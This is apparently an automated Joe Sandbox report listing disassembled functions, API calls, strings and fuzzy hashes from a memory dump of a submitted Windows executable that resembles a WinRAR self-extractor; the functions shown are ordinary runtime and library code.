Opcode Fuzzy Hash: 7ce8224d02cbc9d10e697210102f736983d510ff4da2607681883173542701a8
Instruction Fuzzy Hash: 14E1C232A187828AEF189F34D4803BD77A0FB45748F202136DA8D97796CF3AE581D780

Function 00007FF606391BF4 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF606390AA0: CompareStringW.KERNEL32(?,?,00007FF606386C19), ref: 00007FF606390ABF

Part of subcall function 00007FF6063812BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063813B6

Part of subcall function 00007FF606390AD0: CompareStringW.KERNEL32 ref: 00007FF606390B36

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606391DC2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606391DC8
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF606391E25

Strings

.zx, xrefs: 00007FF606391C92, 00007FF606391CA1
z%s%02d, xrefs: 00007FF606391E12
.zipx, xrefs: 00007FF606391C3B, 00007FF606391C4A

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CompareString_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskswprintf
String ID: .zipx$.zx$z%s%02d
API String ID: 2859674139-515631857
Opcode ID: 4b60fe0a4260c981502afa51fbfce4c695209fcfdf906febb7fa7c3ab58db49e
Instruction ID: f1d0a23d25845097440ca83c742b887565238fac99513ccec6b8e4f074022d36
Opcode Fuzzy Hash: 4b60fe0a4260c981502afa51fbfce4c695209fcfdf906febb7fa7c3ab58db49e
Instruction Fuzzy Hash: F871D332A04B8288EB14CF64D4903ED3361EF84798F606236EA4D97B99EF3DD145C780

Function 00007FF6063AA87C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6063AAA83,?,?,?,00007FF6063A87EE,?,?,?,00007FF6063A87A9), ref: 00007FF6063AA901
GetLastError.KERNEL32(?,?,00000000,00007FF6063AAA83,?,?,?,00007FF6063A87EE,?,?,?,00007FF6063A87A9), ref: 00007FF6063AA90F
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6063AAA83,?,?,?,00007FF6063A87EE,?,?,?,00007FF6063A87A9), ref: 00007FF6063AA939
FreeLibrary.KERNEL32(?,?,00000000,00007FF6063AAA83,?,?,?,00007FF6063A87EE,?,?,?,00007FF6063A87A9), ref: 00007FF6063AA97F
GetProcAddress.KERNEL32(?,?,00000000,00007FF6063AAA83,?,?,?,00007FF6063A87EE,?,?,?,00007FF6063A87A9), ref: 00007FF6063AA98B

Strings

api-ms-, xrefs: 00007FF6063AA921

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 6c79a96e063dba16a1b32c7952d051ebac3d8e1187371194647d3fb8a0e2c012
Instruction ID: 6da68f4a760c588650b8c36f4dc292e7849afa953664dd92e474355ce06b7917
Opcode Fuzzy Hash: 6c79a96e063dba16a1b32c7952d051ebac3d8e1187371194647d3fb8a0e2c012
Instruction Fuzzy Hash: 1A31E572B1AB4695EE199B02A9006757394FF48B60F7A2539DD1DC7390DF3EE045D380

Function 00007FF6063A5094 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF6063A5003,?,?,?,00007FF6063A53BA), ref: 00007FF6063A50BB
GetProcAddress.KERNEL32(?,?,?,00007FF6063A5003,?,?,?,00007FF6063A53BA), ref: 00007FF6063A50D8
GetProcAddress.KERNEL32(?,?,?,00007FF6063A5003,?,?,?,00007FF6063A53BA), ref: 00007FF6063A50F4

Strings

AcquireSRWLockExclusive, xrefs: 00007FF6063A50CE
ReleaseSRWLockExclusive, xrefs: 00007FF6063A50E3
KERNEL32.DLL, xrefs: 00007FF6063A50B4

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: d44736b24ca49afb9e39255391aa9d684b927709e013dababe23d1481c6dad27
Instruction ID: 82876cdb41ea52176dd30a11a194743ba580f3206bd13db7d11f9ed8be5d162b
Opcode Fuzzy Hash: d44736b24ca49afb9e39255391aa9d684b927709e013dababe23d1481c6dad27
Instruction Fuzzy Hash: 87116134A0DB0381FD5D8F01A9401796391AF08764F793434C90EC6790EE3EB494A6D0

Function 00007FF6063A9278 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6063A92E8

Part of subcall function 00007FF6063A87A0: abort.LIBCMT ref: 00007FF6063A87B3

_CallSETranslator.LIBVCRUNTIME ref: 00007FF6063A9333
abort.LIBCMT ref: 00007FF6063A9561

Strings

RCC, xrefs: 00007FF6063A9304
MOC, xrefs: 00007FF6063A92FC

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 72139495dcf16bb81820f3d810a7b9a0b09b4fcdb0284e32ba8cd3a939180766
Instruction ID: d0c6c25476781e912d6458b510ab19eb638204d7ee8739786cb970c81f8b9e8b
Opcode Fuzzy Hash: 72139495dcf16bb81820f3d810a7b9a0b09b4fcdb0284e32ba8cd3a939180766
Instruction Fuzzy Hash: 8B91E173A187818AEB14CB65E8803AD7BB0FB44788F20513AEE8D97B95DF39D191C740

Function 00007FF6063A83FC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6063A8427
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6063A84BC
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF6063A672E), ref: 00007FF6063A850B

Strings

csm, xrefs: 00007FF6063A84A2
f, xrefs: 00007FF6063A843A

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 11495064961466997c8733bd3dbf6db7e405d107ed00bd2b81d8cafc23c6a21f
Instruction ID: 1264f19b7afffd13fa85c2ccf80a1b5231bcdd7a768c013f73482666869113fd
Opcode Fuzzy Hash: 11495064961466997c8733bd3dbf6db7e405d107ed00bd2b81d8cafc23c6a21f
Instruction Fuzzy Hash: B851B332E0960286EF58DF15E444A793795FB44B98F21A530DE1F87788EF3AE841DB80

Function 00007FF60639B7B8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF60639B7FF
GetWindowRect.USER32 ref: 00007FF60639B850
ShowWindow.USER32 ref: 00007FF60639B926
ShowWindow.USER32 ref: 00007FF60639B953

Strings

RarHtmlClassName, xrefs: 00007FF60639B8DB

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: 82636535739392cc33cb5fe013b40dc4a28cb47cb138220786a685eab183d8d8
Instruction ID: 4b4c082ebe517145652d9bad60c94bb73a8d474ebfc09338bd85998e5fc5efbb
Opcode Fuzzy Hash: 82636535739392cc33cb5fe013b40dc4a28cb47cb138220786a685eab183d8d8
Instruction Fuzzy Hash: 1251A736A0878286EB28DB25F44437AA760FF95B84F246035DE4E87B54DF3EE4058B50

Function 00007FF6063A3994 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00007FF6063A3A20
REPLACEFILEDLG, xrefs: 00007FF6063A39F4, 00007FF6063A3A59

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: fda320a62b1de8e0c326076fb66231056f5d4cab4133c3dd2cb0763aad417ddf
Instruction ID: 120a5a482e5076e0e4609f263d87ede7ed6ca85e220e8ff83195ca0782048381
Opcode Fuzzy Hash: fda320a62b1de8e0c326076fb66231056f5d4cab4133c3dd2cb0763aad417ddf
Instruction Fuzzy Hash: F121E731A0CB4780FF188B19F84417463A1AB45B88F34613AC98DC73A4EE7EE9959790

Function 00007FF6063AF490 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6063AF4B0
GetProcAddress.KERNEL32 ref: 00007FF6063AF4C6
FreeLibrary.KERNEL32 ref: 00007FF6063AF4EB

Strings

mscoree.dll, xrefs: 00007FF6063AF4A7
CorExitProcess, xrefs: 00007FF6063AF4BF

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bbfb9acffd6a1f7f328749b5137115e28703a16519561567df947b6386454bd5
Instruction ID: 281d35174e0e7b459ea8e375e7eae8f43e06ee20df4935505c6b600aaded469a
Opcode Fuzzy Hash: bbfb9acffd6a1f7f328749b5137115e28703a16519561567df947b6386454bd5
Instruction Fuzzy Hash: 84F0FF21A19A4681EF588B15F8942796360EF88B94F687039EA4F86664DE3DD484C740

Function 00007FF6063B7AD4 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B7B19

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5733bc4db78c109f0175e69bb486889a5a1a9f6e1ea72f320297fc23bc50833c
Instruction ID: 18b912c8a5a27362f53f7a1267ad7540ade5cd0c4f5b9f21f3e1f466f85e3178
Opcode Fuzzy Hash: 5733bc4db78c109f0175e69bb486889a5a1a9f6e1ea72f320297fc23bc50833c
Instruction Fuzzy Hash: 9481AE22F18A1285F7289F6598806BD66B0FF84B98F207139CF0E93691DF3EE445C790

Function 00007FF606385DB8 Relevance: 7.7, APIs: 5, Instructions: 163filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF606385E7B
CreateFileW.KERNEL32 ref: 00007FF606385EE4
SetFileTime.KERNEL32 ref: 00007FF606385FAC
CloseHandle.KERNEL32 ref: 00007FF606385FB6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606385FEC

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: File$Create$CloseHandleTime_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2398171386-0
Opcode ID: bab0ba186ad15d1c58144dd43663a300509bb5c130dd0fdd6f82b2bdd38d3274
Instruction ID: 3cb2972cbd0866b5cf7878c3c0b8366246d9f2a3d2f9d72b98b110f8487500fb
Opcode Fuzzy Hash: bab0ba186ad15d1c58144dd43663a300509bb5c130dd0fdd6f82b2bdd38d3274
Instruction Fuzzy Hash: A851E432B18B428DFB98CB75E8003FD63A1AB447A8F206235EE1DC67E4DF7991458380

Function 00007FF6063B7448 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF6063B7C7B), ref: 00007FF6063B74A5
WideCharToMultiByte.KERNEL32 ref: 00007FF6063B7581
WriteFile.KERNEL32 ref: 00007FF6063B75A7
WriteFile.KERNEL32 ref: 00007FF6063B75E6
GetLastError.KERNEL32 ref: 00007FF6063B761E

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 9178f81fb76f1e31521b60b80658233a53cfb8d4cb70a9f25aa2f81663bd83bf
Instruction ID: e331e49342c6fde0295ee57d9aac560ecd21fadc2d2d2ad32336dfc9101c69d5
Opcode Fuzzy Hash: 9178f81fb76f1e31521b60b80658233a53cfb8d4cb70a9f25aa2f81663bd83bf
Instruction Fuzzy Hash: 8E51BE32E14A5189E714CF29E8847AC7BB0FB88798F24A135DF4E87A98DF39D142C740

Function 00007FF6063B28A4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6063B29C6

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 883fb41bd9703dcc10221343c29cb9d071b7ea0fa4d80864beb1efdaf450b773
Instruction ID: d50e4a7d415dc2445d95762f4c6360729056ccfea5c0d645f1fb9e2aff6c1400
Opcode Fuzzy Hash: 883fb41bd9703dcc10221343c29cb9d071b7ea0fa4d80864beb1efdaf450b773
Instruction Fuzzy Hash: 7C41E862B19E4281FA1D9B1258046B6B391BF58BE0F297635DE1ECB784DF3EE1508780

Function 00007FF6063B8BE8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6063B8C0F
_set_statfp.LIBCMT ref: 00007FF6063B8C2A
_set_statfp.LIBCMT ref: 00007FF6063B8C46
_set_statfp.LIBCMT ref: 00007FF6063B8C82

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction ID: 915b7a9465993b8aed139077b2e70fb42846ccfbcd2d60899acb42e9d72f3a95
Opcode Fuzzy Hash: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction Fuzzy Hash: EE11A0F6E1DE0305FAAC1128E89237991466F553B0F387734EB6EC66D6CE7EA84442C1

Function 00007FF6063A3928 Relevance: 7.5, APIs: 5, Instructions: 29windowsynchronizationCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 00007FF6063A3945
GetMessageW.USER32 ref: 00007FF6063A395C
TranslateMessage.USER32 ref: 00007FF6063A3967
DispatchMessageW.USER32 ref: 00007FF6063A3972
WaitForSingleObject.KERNEL32 ref: 00007FF6063A3980

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: c630aa0803547081c4d72855550468f4e84ba9b42f5c9c7b8480925491db25bb
Instruction ID: 591a9b2131b47461ab27739f0d626d53373543ece297115729cffff6780df897
Opcode Fuzzy Hash: c630aa0803547081c4d72855550468f4e84ba9b42f5c9c7b8480925491db25bb
Instruction Fuzzy Hash: D6F06262B3844682FB549760E455B7A2211FFE4705FA42034D64EC19949F2DD549CB50

Function 00007FF6063A97EC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6063A9816
abort.LIBCMT ref: 00007FF6063A9A7A

Strings

csm, xrefs: 00007FF6063A983B
csm, xrefs: 00007FF6063A99AA

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 205f847729b879f197fb1e88d311058e954f7365dfacaef904bdf3b3c6f6727b
Instruction ID: 1384a42aa7e95823cb4bf1d01bd9d7696d4bc66a0d9f5816a02d41166681d426
Opcode Fuzzy Hash: 205f847729b879f197fb1e88d311058e954f7365dfacaef904bdf3b3c6f6727b
Instruction Fuzzy Hash: 4771D132A186C18ADF688F25D4803B97BA1FB01B84F24A136DE8DA7AC5CF3DD550D780

Function 00007FF6063AB54C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063AB573
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063AB745

Strings

, xrefs: 00007FF6063AB6CE
*, xrefs: 00007FF6063AB679

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: d78f14ac5553cfb584130670f8383fb7251d5d940d13a47ddc6d8be45c653cc9
Instruction ID: f335d98a6e267bdf928fec1df166a4638985889fea52d16aeb2ba05e3b13bf12
Opcode Fuzzy Hash: d78f14ac5553cfb584130670f8383fb7251d5d940d13a47ddc6d8be45c653cc9
Instruction Fuzzy Hash: 5051567290D6428AEF6D8E39805437C7BA0EB15B59F343235C64BC12E5CF2ED481E781

Function 00007FF6063A9C30 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6063A87A0: abort.LIBCMT ref: 00007FF6063A87B3

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6063A9CDA
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF6063A9D06

Strings

csm, xrefs: 00007FF6063A9E06

Memory Dump Source

